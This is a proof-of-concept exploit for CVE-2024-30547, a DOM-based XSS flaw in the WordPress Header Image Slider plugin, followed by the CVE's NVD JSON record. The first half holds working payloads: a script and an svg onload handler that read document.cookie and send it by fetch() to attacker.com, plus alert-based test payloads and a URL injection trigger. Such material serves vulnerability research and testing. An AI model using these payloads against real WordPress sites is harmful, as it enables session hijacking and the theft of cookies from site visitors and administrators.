CVE-2024-30547

<!-- CVE-2024-30547 PoC - Header Image Slider DOM-based XSS --> <!-- Attack Vector: Inject malicious script in slide title/description field --> <!-- Step 1: Malicious payload to be injected --> <script> // Steal cookies and send to attacker controlled server var stolen_data = document.cookie; var attacker_server = 'https://attacker.com/steal?data=' + encodeURIComponent(stolen_data); fetch(attacker_server); // Alternative payload - session hijacking alert('XSS Triggered! Cookie: ' + document.cookie); </script> <!-- Simpler payload for testing --> <img src=x onerror="alert('DOM XSS - CVE-2024-30547')"> <!-- URL-based XSS trigger --> <!-- http://target-site.com/?slider_id=<script>alert(document.domain)</script> --> <!-- WordPress admin panel exploitation --> <!-- In Header Image Slider settings, add slide with title containing: --> <svg/onload=fetch('http://attacker.com/log?cookie='+document.cookie)>

{"cve": {"id": "CVE-2024-30547", "sourceIdentifier": "[email protected]", "published": "2026-01-06T17:15:42.943", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Shazdeh Header Image Slider header-image-slider allows DOM-Based XSS.This issue affects Header Image Slider: from n/a through 0.3."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web (XSS o 'cross-site scripting') vulnerabilidad en Shazdeh Header Image Slider header-image-slider permite XSS basado en DOM. Este problema afecta a Header Image Slider: desde n/a hasta 0.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/wordpress/plugin/header-image-slider/vulnerability/wordpress-header-image-slider-plugin-0-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}